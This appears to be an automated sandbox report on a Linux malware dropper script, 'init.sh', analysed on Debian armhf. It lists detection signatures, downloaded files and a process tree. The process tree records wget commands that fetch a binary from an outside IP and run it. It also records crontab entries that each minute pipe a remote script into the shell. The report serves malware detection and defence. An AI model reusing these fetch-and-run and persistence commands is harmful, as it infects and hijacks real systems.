Analysis

  • max time kernel
    136s
  • max time network
    138s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/08/2026, 12:18

General

  • Target
    init.sh
  • Size 19KB
  • Sample260808-pg1hdadd82
  • SHA256 5fde2fa80caf7e335c08edee151094738fb1fffac73eab067d307cd8516407ca
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 9 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/init.sh
    /tmp/init.sh
    1⤵
    • Executes dropped EXE
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:660
    • /bin/uname
      uname -m
      2⤵
        PID:662
      • /usr/bin/id
        id -un
        2⤵
          PID:664
        • /bin/date
          date "+%H:%M:%S"
          2⤵
            PID:668
          • /bin/uname
            uname -m
            2⤵
              PID:671
            • /bin/date
              date "+%H:%M:%S"
              2⤵
                PID:673
              • /bin/date
                date "+%H:%M:%S"
                2⤵
                  PID:676
                • /bin/grep
                  grep -qiE "mips.*(el|little.endian)" /proc/cpuinfo
                  2⤵
                  • Checks CPU configuration
                  • System Network Configuration Discovery
                  PID:679
                • /bin/date
                  date "+%H:%M:%S"
                  2⤵
                    PID:685
                  • /bin/chmod
                    chmod +x /dev/shm/.exectest.660
                    2⤵
                    • File and Directory Permissions Modification
                    PID:689
                  • /dev/shm/.exectest.660
                    /dev/shm/.exectest.660
                    2⤵
                      PID:690
                    • /bin/rm
                      rm -f /dev/shm/.exectest.660
                      2⤵
                        PID:692
                      • /bin/date
                        date "+%H:%M:%S"
                        2⤵
                          PID:693
                        • /bin/date
                          date "+%H:%M:%S"
                          2⤵
                            PID:695
                          • /usr/bin/wget
                            wget -q -T 10 --no-check-certificate http://181.214.140.248/bins/kworkerd-blkcg -O /dev/shm/.d
                            2⤵
                            • Writes file to shm directory
                            PID:696
                          • /usr/bin/wc
                            wc -c
                            2⤵
                              PID:702
                            • /bin/date
                              date "+%H:%M:%S"
                              2⤵
                                PID:703
                              • /usr/bin/wc
                                wc -c
                                2⤵
                                  PID:704
                                • /bin/dd
                                  dd "if=/dev/shm/.d" "bs=4" "count=1"
                                  2⤵
                                    PID:705
                                  • /bin/chmod
                                    chmod +x /dev/shm/.d
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:707
                                  • /bin/date
                                    date "+%H:%M:%S"
                                    2⤵
                                      PID:708
                                    • /bin/date
                                      date "+%H:%M:%S"
                                      2⤵
                                        PID:710
                                      • /dev/shm/.d
                                        /dev/shm/.d
                                        2⤵
                                        • Reads runtime system information
                                        PID:709
                                      • /bin/sleep
                                        sleep 12
                                        2⤵
                                          PID:711
                                        • /usr/bin/curl
                                          curl -s --max-time 1 http://127.0.0.1:42780
                                          2⤵
                                          • Checks CPU configuration
                                          PID:790
                                        • /bin/sleep
                                          sleep 2
                                          2⤵
                                            PID:791
                                          • /usr/bin/curl
                                            curl -s --max-time 1 http://127.0.0.1:42780
                                            2⤵
                                            • Checks CPU configuration
                                            PID:792
                                          • /bin/date
                                            date "+%H:%M:%S"
                                            2⤵
                                              PID:793
                                            • /bin/rm
                                              rm -f /dev/shm/.d
                                              2⤵
                                                PID:794
                                              • /bin/chmod
                                                chmod +x /tmp/.exectest.660
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:795
                                              • /tmp/.exectest.660
                                                /tmp/.exectest.660
                                                2⤵
                                                  PID:796
                                                • /bin/rm
                                                  rm -f /tmp/.exectest.660
                                                  2⤵
                                                    PID:797
                                                  • /bin/date
                                                    date "+%H:%M:%S"
                                                    2⤵
                                                      PID:798
                                                    • /bin/date
                                                      date "+%H:%M:%S"
                                                      2⤵
                                                        PID:799
                                                      • /usr/bin/wget
                                                        wget -q -T 10 --no-check-certificate http://181.214.140.248/bins/kworkerd-blkcg -O /tmp/.d
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:800
                                                      • /usr/bin/wc
                                                        wc -c
                                                        2⤵
                                                          PID:801
                                                        • /bin/date
                                                          date "+%H:%M:%S"
                                                          2⤵
                                                            PID:802
                                                          • /usr/bin/wc
                                                            wc -c
                                                            2⤵
                                                              PID:803
                                                            • /bin/dd
                                                              dd "if=/tmp/.d" "bs=4" "count=1"
                                                              2⤵
                                                                PID:804
                                                              • /bin/chmod
                                                                chmod +x /tmp/.d
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:806
                                                              • /bin/date
                                                                date "+%H:%M:%S"
                                                                2⤵
                                                                  PID:807
                                                                • /bin/date
                                                                  date "+%H:%M:%S"
                                                                  2⤵
                                                                    PID:809
                                                                  • /tmp/.d
                                                                    /tmp/.d
                                                                    2⤵
                                                                    • Deletes itself
                                                                    • Modifies Watchdog functionality
                                                                    • Creates/modifies Cron job
                                                                    • Enumerates active TCP sockets
                                                                    • Modifies systemd
                                                                    • Reads MAC address of network interface
                                                                    • Changes its process name
                                                                    • Checks CPU configuration
                                                                    • Reads system network configuration
                                                                    • Enumerates kernel/hardware configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:808
                                                                    • /bin/sh
                                                                      sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                                                      3⤵
                                                                        PID:814
                                                                        • /bin/systemctl
                                                                          /bin/systemctl daemon-reload
                                                                          4⤵
                                                                          • Enumerates kernel/hardware configuration
                                                                          PID:815
                                                                      • /bin/sh
                                                                        sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                                                        3⤵
                                                                          PID:828
                                                                          • /bin/systemctl
                                                                            /bin/systemctl enable --now redis-sentinel.service
                                                                            4⤵
                                                                            • Enumerates kernel/hardware configuration
                                                                            PID:829
                                                                        • /bin/sh
                                                                          sh -c "/usr/bin/crontab -l 2>/dev/null"
                                                                          3⤵
                                                                            PID:842
                                                                            • /usr/bin/crontab
                                                                              /usr/bin/crontab -l
                                                                              4⤵
                                                                              • Reads runtime system information
                                                                              PID:843
                                                                          • /bin/sh
                                                                            sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 812 2>/dev/null && exit 0; (wget -qO- http://181.214.140.248/init.sh || curl -sL http://181.214.140.248/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                                                            3⤵
                                                                              PID:844
                                                                              • /usr/bin/crontab
                                                                                /usr/bin/crontab -
                                                                                4⤵
                                                                                • Creates/modifies Cron job
                                                                                • Reads runtime system information
                                                                                PID:845
                                                                          • /bin/sleep
                                                                            sleep 12
                                                                            2⤵
                                                                              PID:810
                                                                            • /usr/bin/curl
                                                                              curl -s --max-time 1 http://127.0.0.1:42780
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              PID:849
                                                                            • /bin/sleep
                                                                              sleep 2
                                                                              2⤵
                                                                                PID:850
                                                                              • /usr/bin/curl
                                                                                curl -s --max-time 1 http://127.0.0.1:42780
                                                                                2⤵
                                                                                • Checks CPU configuration
                                                                                PID:856
                                                                              • /bin/date
                                                                                date "+%H:%M:%S"
                                                                                2⤵
                                                                                  PID:857
                                                                                • /bin/rm
                                                                                  rm -f /tmp/.d
                                                                                  2⤵
                                                                                    PID:858
                                                                                  • /bin/chmod
                                                                                    chmod +x /var/run/.exectest.660
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:859
                                                                                  • /var/run/.exectest.660
                                                                                    /var/run/.exectest.660
                                                                                    2⤵
                                                                                      PID:860
                                                                                    • /bin/rm
                                                                                      rm -f /var/run/.exectest.660
                                                                                      2⤵
                                                                                        PID:861
                                                                                      • /bin/chmod
                                                                                        chmod +x /root/.exectest.660
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:862
                                                                                      • /root/.exectest.660
                                                                                        /root/.exectest.660
                                                                                        2⤵
                                                                                          PID:863
                                                                                        • /bin/rm
                                                                                          rm -f /root/.exectest.660
                                                                                          2⤵
                                                                                            PID:864
                                                                                          • /bin/date
                                                                                            date "+%H:%M:%S"
                                                                                            2⤵
                                                                                              PID:865
                                                                                            • /bin/date
                                                                                              date "+%H:%M:%S"
                                                                                              2⤵
                                                                                                PID:866
                                                                                              • /usr/bin/wget
                                                                                                wget -q -T 10 --no-check-certificate http://181.214.140.248/bins/kworkerd-blkcg -O /root/.d
                                                                                                2⤵
                                                                                                  PID:867
                                                                                                • /usr/bin/wc
                                                                                                  wc -c
                                                                                                  2⤵
                                                                                                    PID:868
                                                                                                  • /bin/date
                                                                                                    date "+%H:%M:%S"
                                                                                                    2⤵
                                                                                                      PID:869
                                                                                                    • /usr/bin/wc
                                                                                                      wc -c
                                                                                                      2⤵
                                                                                                        PID:870
                                                                                                      • /bin/dd
                                                                                                        dd "if=/root/.d" "bs=4" "count=1"
                                                                                                        2⤵
                                                                                                          PID:871
                                                                                                        • /bin/chmod
                                                                                                          chmod +x /root/.d
                                                                                                          2⤵
                                                                                                          • File and Directory Permissions Modification
                                                                                                          PID:873
                                                                                                        • /bin/date
                                                                                                          date "+%H:%M:%S"
                                                                                                          2⤵
                                                                                                            PID:874
                                                                                                          • /bin/date
                                                                                                            date "+%H:%M:%S"
                                                                                                            2⤵
                                                                                                              PID:876
                                                                                                            • /root/.d
                                                                                                              /root/.d
                                                                                                              2⤵
                                                                                                              • Deletes itself
                                                                                                              • Modifies Watchdog functionality
                                                                                                              • Creates/modifies Cron job
                                                                                                              • Enumerates active TCP sockets
                                                                                                              • Reads MAC address of network interface
                                                                                                              • Changes its process name
                                                                                                              • Checks CPU configuration
                                                                                                              • Reads system network configuration
                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                              • Reads runtime system information
                                                                                                              • Writes file to tmp directory
                                                                                                              PID:875
                                                                                                              • /bin/sh
                                                                                                                sh -c "/usr/bin/crontab -l 2>/dev/null"
                                                                                                                3⤵
                                                                                                                  PID:881
                                                                                                                  • /usr/bin/crontab
                                                                                                                    /usr/bin/crontab -l
                                                                                                                    4⤵
                                                                                                                      PID:882
                                                                                                                  • /bin/sh
                                                                                                                    sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 879 2>/dev/null && exit 0; (wget -qO- http://181.214.140.248/init.sh || curl -sL http://181.214.140.248/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                                                                                                    3⤵
                                                                                                                      PID:883
                                                                                                                      • /usr/bin/crontab
                                                                                                                        /usr/bin/crontab -
                                                                                                                        4⤵
                                                                                                                        • Creates/modifies Cron job
                                                                                                                        PID:884
                                                                                                                  • /bin/sleep
                                                                                                                    sleep 12
                                                                                                                    2⤵
                                                                                                                      PID:877
                                                                                                                    • /usr/bin/curl
                                                                                                                      curl -s --max-time 1 http://127.0.0.1:42780
                                                                                                                      2⤵
                                                                                                                      • Checks CPU configuration
                                                                                                                      PID:888
                                                                                                                    • /bin/sleep
                                                                                                                      sleep 2
                                                                                                                      2⤵
                                                                                                                        PID:889
                                                                                                                      • /usr/bin/curl
                                                                                                                        curl -s --max-time 1 http://127.0.0.1:42780
                                                                                                                        2⤵
                                                                                                                        • Checks CPU configuration
                                                                                                                        PID:890
                                                                                                                      • /bin/date
                                                                                                                        date "+%H:%M:%S"
                                                                                                                        2⤵
                                                                                                                          PID:891
                                                                                                                        • /bin/rm
                                                                                                                          rm -f /root/.d
                                                                                                                          2⤵
                                                                                                                            PID:892
                                                                                                                          • /bin/date
                                                                                                                            date "+%H:%M:%S"
                                                                                                                            2⤵
                                                                                                                              PID:893
                                                                                                                            • /bin/cat
                                                                                                                              cat /tmp/.deploy.log
                                                                                                                              2⤵
                                                                                                                                PID:894
                                                                                                                              • /bin/rm
                                                                                                                                rm -f /tmp/init.sh
                                                                                                                                2⤵
                                                                                                                                  PID:895

                                                                                                                              Network

                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                    Replay Monitor

                                                                                                                                    Loading Replay Monitor...

                                                                                                                                    Downloads

                                                                                                                                    .d

                                                                                                                                    • Path /dev/shm/.d
                                                                                                                                    • Size 98KB
                                                                                                                                    • SHA256 c743004bd14ef92c0ad9406206d3ad26aa366ff5414286899b5614513fef92a1
                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                    .exectest.660

                                                                                                                                    • Path /dev/shm/.exectest.660
                                                                                                                                    • Size 18B
                                                                                                                                    • SHA256 b4d644d4279594903f1a9911956432d9473041f2984fc6014c14d7402c7d126c
                                                                                                                                    • MD5 SHA1 SHA512

                                                                                                                                    .deploy.log

                                                                                                                                    • Path /tmp/.deploy.log
                                                                                                                                    • Size 56B
                                                                                                                                    • SHA256 dce80553ec8feb0f9173081df60781dea55846b096f2c302efc38aa86665dd46
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    .deploy.log

                                                                                                                                    • Path /tmp/.deploy.log
                                                                                                                                    • Size 120B
                                                                                                                                    • SHA256 5e0281bddc74aad79848dfc0328bd0828c0f06c8b66c6d23339d48da690e63fb
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    .deploy.log

                                                                                                                                    • Path /tmp/.deploy.log
                                                                                                                                    • Size 155B
                                                                                                                                    • SHA256 8575ad2f53867edc240d552fe4577cb4e1c9c8e2dc384668ba7667147a89adec
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    .deploy.log

                                                                                                                                    • Path /tmp/.deploy.log
                                                                                                                                    • Size 202B
                                                                                                                                    • SHA256 e9027ac580f287e12a24c6cc0c67b55caf2550562d59950dac22eccdecdc972c
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    .deploy.log

                                                                                                                                    • Path /tmp/.deploy.log
                                                                                                                                    • Size 1KB
                                                                                                                                    • SHA256 e1c10de4629e6c8cd98cb17a0ca1dc9e00408f6c66df18e038896ea344277c66
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    tmp.2lhLCn

                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.2lhLCn
                                                                                                                                    • Size 346B
                                                                                                                                    • SHA256 1d5b21c747185506e6899d103ecefe8bbfcb31b9ba74d7e3a8bc4454532b9b63
                                                                                                                                    • MD5 SHA1 SHA512 TLSH

                                                                                                                                    tmp.WHJHMf

                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.WHJHMf
                                                                                                                                    • Size 346B
                                                                                                                                    • SHA256 63e69acda7fdde8d3dc8e9929f2e46a58053b7a2baecb0375bb7c09245f1afbe
                                                                                                                                    • MD5 SHA1 SHA512 TLSH